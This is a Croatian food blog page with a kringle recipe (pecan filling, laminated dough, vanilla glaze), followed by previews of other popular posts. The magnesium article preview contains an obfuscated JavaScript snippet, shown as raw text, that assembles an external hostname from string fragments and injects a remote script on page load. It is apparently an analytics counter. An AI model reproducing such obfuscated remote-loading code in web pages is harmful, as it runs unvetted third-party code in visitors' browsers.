KRINGLE - SLAVNO DANSKO PECIVO




Kringle - slavno dansko pecivo 




Kringle je tradicionalno pecivo koje svoje korijene vuče iz Skandinavije, a posebno je popularno u Danskoj, Norveškoj i Švedskoj. Naziv potječe od staronordijske riječi kringla, što znači krug ili prsten, a odnosi se na karakterističan oblik. Iako danas postoji mnogo različitih verzija u obliku kruga, potkove ili klasične savijače, kringle se tradicionalno priprema od dizanog ili lisnatog tijesta koje se puni marcipanom, maslacem, orašastim plodovima, grožđicama ili voćnim nadjevima. 





Kringle 


Sastojci:

Tijesto:

  • 250 g glatkog brašna
  • 40 g šećera
  • 7 g suhog instant kvasca
  • 1 žličica soli
  • 225 g hladnog maslaca, narezanog na kockice
  • 80 ml hladnog punomasnog mlijeka
  • 1 veliko jaje

Nadjev:

  • 220 g sitno nasjeckanih pekan oraha
  • 100 g smeđeg šećera
  • 3 žlice javorovog sirupa
  • 60 g otopljenog maslaca
  • 1 veliko jaje, lagano umućeno

Glazura:

  • 120 g šećera u prahu
  • ½ žličice ekstrakta vanilije
  • 1 do 2 žlice vode
  • prstohvat soli



Priprema:

  1. U velikoj zdjeli pomiješajte brašno, šećer, kvasac i sol. Dodajte hladni maslac narezan na kockice pa ga utrljajte u suhe sastojke pomoću sjeckalice za tijesto ili vršcima prstiju. Smjesa treba nalikovati krupnim mrvicama.
  2. U manjoj zdjeli umutite mlijeko i jaje. Dodajte ih u smjesu s brašnom i maslacem te miješajte dok se sastojci ne povežu.
  3. Prebacite tijesto na radnu površinu i kratko ga mijesite dok ne dobijete glatko, ali još uvijek pomalo mrvičasto tijesto. Oblikujte pravokutnik, zamotajte u prozirnu foliju i stavite u hladnjak na najmanje 4 sata, a najviše 2 dana.
  4. Za nadjev u sjeckalici usitnite pekan orahe. Prebacite ih u zdjelu pa umiješajte smeđi šećer, javorov sirup i otopljeni maslac. Ostavite sa strane.
  5. Ohlađeno tijesto razvaljajte na lagano pobrašnjenoj površini u pravokutnik veličine približno 38 x 20 cm. Presavijte ga na trećine poput pisma. Okrenite tijesto za 90 stupnjeva pa ga ponovno razvaljajte na istu veličinu i ponovno presavijte.
  6. Zamotajte tijesto i ohladite 20 do 30 minuta. Postupak valjanja i preklapanja ponovite još dva puta, uz hlađenje između svakog ponavljanja. Nakon posljednjeg preklapanja ostavite tijesto u hladnjaku još 20 do 30 minuta.
  7. Dva lima obložite papirom za pečenje. Tijesto prerežite na pola. Jednu polovicu vratite u hladnjak.
  8. Drugu polovicu razvaljajte u pravokutnik veličine približno 75 x 13 cm. Polovicu nadjeva rasporedite po sredini tijesta u traku široku oko 4 cm.
  9. Jednu dužu stranu tijesta preklopite preko nadjeva. Drugu stranu premažite umućenim jajetom pa je preklopite preko prve. Dobro stisnite spoj i zatvorite krajeve.
  10. Oblikovano tijesto prebacite na lim, spojem prema dolje, te ga oblikujte u ovalni prsten. Spojite krajeve i lagano ih pritisnite.
  11. Pokrijte lagano nauljenom folijom i ostavite na toplom mjestu oko 30 minuta, dok se tijesto lagano ne napuhne.
  12. Pećnicu zagrijte na 190 °C.
  13. Površinu premažite umućenim jajetom i pecite 18 do 22 minute, odnosno dok kringle ne poprimi duboku zlatnosmeđu boju.
  14. Dok se peče, pripremite glazuru. Pomiješajte šećer u prahu, vaniliju, vodu i sol dok ne dobijete glatku smjesu.
  15. Pečeni kringle ostavite da se potpuno ohladi. Prelijte ga glazurom, ostavite nekoliko minuta da se stisne pa narežite i poslužite.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više